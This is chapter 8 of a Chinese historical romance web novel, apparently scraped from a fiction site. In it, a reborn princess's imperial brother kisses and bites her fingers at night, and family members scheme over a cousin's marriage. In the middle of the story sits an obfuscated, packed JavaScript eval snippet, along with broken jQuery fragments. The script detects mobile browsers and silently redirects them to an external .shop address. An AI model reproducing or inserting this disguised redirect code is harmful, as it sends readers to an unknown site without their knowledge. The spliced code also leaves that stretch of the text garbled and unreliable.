文趣网 > 其他小说 > 被阴暗皇弟觊觎后 > 8. 第 8 章
    睡前纪清芷习惯点上熏炉,柳秀离屋前将安神香丢入累丝镶红宝石熏炉。

    不肖一刻,满室浸染清幽的兰香。

    纪清芷仰躺回拔步床中,她合衣入被,薄被盖至胸前,头颅倾倒,眼眸便落在三扇屏风之上。

    屏风的那头,透出一道隐隐绰绰的人影。

    湛萧径直往地一躺,再席盖薄被,就此睡下。

    纪清芷静静盯着那柄梅兰竹菊凝视许久,久到未能收回眼。

    前世今生,一昔便是四年前,仿若梦似得。

    “皇姐。”

    湛萧轻轻的喊声隔着屏蔽传入她的耳。

    纪清芷单手抚上心口,疼意早已消散,她只是揉动两下,嗯地应他。

    “在纪家也无拘无束些吧,皇姐。”

    湛萧好似翻了个身,影子自屏风一晃,他那头乌发一甩而过,再又落在身前。

    他道:“谁若是欺负你,我会替你千百倍地讨回来。”

    难以言喻的暖意涌上纪清芷的心间,甚至于那股悸动在她手掌心之下,一阵又一阵的跳动。

    她唇角轻扬。

    湛萧真的很疼爱她这个姐姐啊。

    “你要如何奉还?”

    “如皇姐所想,必严惩之,打的他找不到牙。”

    纪清芷笑回他:“皇弟,会闹出人命的。”

    她是在说:不会死吗?可不兴这样做。

    可湛萧丝毫不曾犹豫,低低沉沉夹带阴郁的声音十分清朗。

    “当然,我会让他死的。”

    “我不准你说浑话。”

    很显然纪清芷不乐意听他说这等大逆不道之言,训斥两句便回身仰面,不在朝他挑看。

    “明日我睡醒时,不要让我看见你还在这儿。”

    纪清芷只当湛萧在说笑,“快睡吧,我好困。”

    那面的少年不再应声。

    纪清芷缓缓闭合起眼。

    前世在大婚之日她惨遭一箭射死,重生归来的这几日午夜梦回,总不免会回到那时候。

    她惊慌失措地想要逃离。

    奈何身陷泥泞的水潭,双足踏入时,泥水搅合黏腻,令她无从爬起。不断挣扎,身边却游来数多的水藻,一片又一片,一丛丛爬满她全身。

    几近窒息的感觉将她彻底淹没。

    纪清芷难以入眠,已接连几日未能睡个好觉。

    虽与湛萧说着困顿,可她身心疲惫,阖眼仍不得入睡。

    纪清芷仰躺了良久,思绪纷扰,好半晌,耳边响起窸窸卒卒的响动。

    轻微的脚步声渐近她的床榻。

    是湛萧吗?

    纪清芷蹙眉。

    下一刻,她悬吊在床边的手腕便被一只手抓举捧起,纪清芷刚要睁眼,手背却触及一片柔软。

    “皇姐……”

    湛萧的唇瓣抚在她的手背,磨蹭了几下。

    “对不起,我让你伤心了。”

    曾几何时,湛萧依恋她,不愿假借他人手,只想她留在身边,陪伴他时。

    他便会蹭她的手,无比依赖。

    湛萧微凉的脸颊便贴近过来,如同两人儿时的相处,每每纪清芷安慰他时,总会抚摸他的双颊。

    那样很令湛萧安心。

    “其实我很想一整日都和皇姐待一起,与皇姐的身体接触,再多触碰你。”

    纪清芷想睁眼的心,歇了。

    原来皇弟是依恋她,渴望被她抚摸安慰。

    因他的话,她随了他的心。

    她便放任湛萧的动作。

    可是湛萧很快改口:“不,我想要做的……”

    湛萧没了话音,纪清芷看不见他,唯有双耳能听物。

    室内如死寂,她的心砰砰直跳。

    柔软的触感爬上她的手背,纪清芷心中升起一股难耐之意,手背很痒,像有一只小虫子在缓慢爬行。

    纪清芷清楚的感知到,湛萧的唇瓣顺滑到她的食指指尖。

    她的手指便被他的上下唇夹住。

    湛萧启唇咬上了她的手指。

    指腹生起轻微的疼痛,是湛萧用牙齿磨着她的手指,他一点点啃咬吮吸。

    纪清芷的手腕被捧起,五根手指垂落在湛萧脸上,他的牙齿含住她的一根手指。

    湛萧的舌根在她指关节上来回舔/弄,每一处都疼惜地吮咬一番,五根手指皆被湛萧一一咬过。

    那种湿腻之感瞬间便令纪清芷全身紧绷。

    尤其是当舌头舔过指肉,她的小拇指禁不住地发颤。

    这颤抖不过一刹,便被湛萧张口叼住。

    他低沉的笑声犹在耳畔。

    “皇姐的小指也这般可爱。”

    纪清芷一动也不敢动,耳根发烫,后背起了薄薄的汗渍。

    不,这也太过亲密了。

    这不该是姐弟之间该有的举止。

    她不能再纵容他继续。

    纪清芷本是如此想的,可刚要睁眼,旋即便察觉手指被一团巾帕裹住,湛萧正上手为她将五根手指仔细擦拭干净。

    他的轻吻落在了她的手背。

    “皇姐,要陪着我啊。”

    湛萧小心翼翼地将纪清芷的手放回原处,听着少年的低声细语,她没了脾气。

    纪清芷眼皮倍感沉重,困意席卷上头。

    她沉沉睡了过去。

    ……

    翌日纪清芷再度睡醒时,屋中已不见湛萧的踪迹。

    如她所说,湛萧趁着天未亮,早早起身离开了明月轩。

    纪清芷在纪家闲来无事,除开晨昏定省,便整日窝居在屋中闲读杂书。

    清早纪清芷去寿安堂请安,纪老夫人便也只是几句话将她打发了,徒留二房与三房的太太姑娘们作陪。

    归纪家不过两日,柳秀便打听到二姑娘纪清楠的这桩婚事,乃是二房一手撮合的。

    柳秀是纪清芷儿时入宫苏皇后一手选的大宫女,在宫中浸濡多年,耳听八方,心思伶俐。

    是以她随纪清芷回府,迅速便同府上下人们打听消息。

    二房的嫡子纪清远被纪家给予厚望,六岁启蒙,十五岁下场进考,只是他远不及纪清芷亲父纪巡的出息,至今未能考出个名头。

    而二房的纪二太太娘家嫂子刚巧是吏部员外郎,将会主持今年的科考。

    纪二太太便起心打主意,要将二姑娘纪清楠送去当人情。

    三房老爷乃纪家庶子,在纪家本就比不得其上两个兄长,人微言轻。

    纪三太太只纪清楠一个姑娘,满心便想为女儿谋一门好亲事。

    听纪二太太一提,要给纪清楠说员外郎家的嫡长子,当下便是心花怒放,一百个满意。

    柳秀说道:“三太太还不知二太太是要卖了二姑娘。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17971967|214680||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “是啊,二婶不先将自己姑娘送去和娘家嫂子亲上加亲,偏为侄女着想,天下哪来这样好的美事。”

    “殿下,三姑娘可看不上员外郎家。”

    柳秀冷不丁冒出一句,“听说三姑娘眼界高着呢,得是王侯勋贵,不若不嫁。”

    “还有这事?”

    “是咱们明月轩里听到的,那个叫桃红的小丫鬟同奴婢口出狂言,日后三姑娘嫁入高门做正房娘子,她也好跟去伺候身份尊贵的主子。”

    柳秀厌弃地骂道:“吃里扒外的东西,纪家可真不少!”

    纪家现有老夫人和二太太当家,府上一干要事皆是二房说了算,明月轩的丫鬟们自然看不上纪清芷这个多日不归家的大姑娘。

    “好在纪家识趣,没克扣殿下的吃穿用度,不若奴婢定要亲自去长宁宫向皇后娘娘状告。”

    “过几日便回宫吧。”

    柳秀含笑地点头。

    次日巳时,纪清芷刚用罢早膳,便听院外有丫鬟来禀。

    “姑娘,六殿下过府来了。”

    “他人在哪?”

    “六殿下先去了寿安堂同老夫人请安。”

    纪清芷旋即起身,柳秀在旁寻来一件流云纹外衫,替她披上身,小心问道:“殿下要去见六殿下?”

    “他来纪家,定是有要事。”

    纪清芷不可能对湛萧视若无睹。

    整齐衣裙,纪清芷便带着柳秀往寿安堂赶去。

    另一面,湛萧正在纪家宅邸闲庭信步。

    他一过府,门房便同府上传报,并领他前去纪老夫人的寿安堂。

    脚踩着青石路,湛萧见这路是与纪清芷的明月轩背道而驰。

    眼前景致各样纷呈,映在他一双墨瞳之中,变得深沉。

    走了两步,前方有一清秀公子大步而来,纪清远抱拳先行拜礼。

    “六殿下。”

    湛萧并未瞧看纪清远一眼,径直便越过他身,一袭宝蓝锦袍拂去冷风,朝前走去。

    “殿下!”

    纪清远面庞一僵,被湛萧的目中无人,桀骜不驯弄得拉不下脸,可偏他惹不起湛萧这个皇子。

    他还想利用纪清芷,攀上湛萧这棵大枝。

    快步追赶上去,纪清远再次主动攀谈:“殿下,我是纪家二房的长子纪清远,是清芷的大哥。”

    听到纪清芷的名字,湛萧驻足停下。

    少年的圆眼瞥来,他宝蓝色的护额在炎热的日头之下,熠熠生辉,可眉宇却拢着一抹令人不敢直视的阴寒。

    “我皇姐人呢?”湛萧冷声问。

    纪清远顿感后背冷汗四起,打哈哈道:“清芷步行过来需得时候。”

    “是吗?”

    湛萧冷哼,转回头道:“本殿下是为见皇姐而来,至于你是纪家的何人,与本殿下何干。”

    “殿下,清芷该与您说过我,我身为兄长待她极好,我……”

    “纪家大公子书读多了,没学成叔父中书令纪大人的三分风骨,倒学会用女人来攀权附贵。”

    湛萧轻蔑笑道:“你说你与皇姐交好,那为何她住在西面最偏远的明月轩,而你身为兄长却袖手旁观?”

    “那,那,那是大妹素爱幽静,不喜有人吵闹。”

    “是啊,你吵的本殿下想撕了你的嘴。”

    湛萧阴冷的眼睨来,看纪清远仿若在看个死人。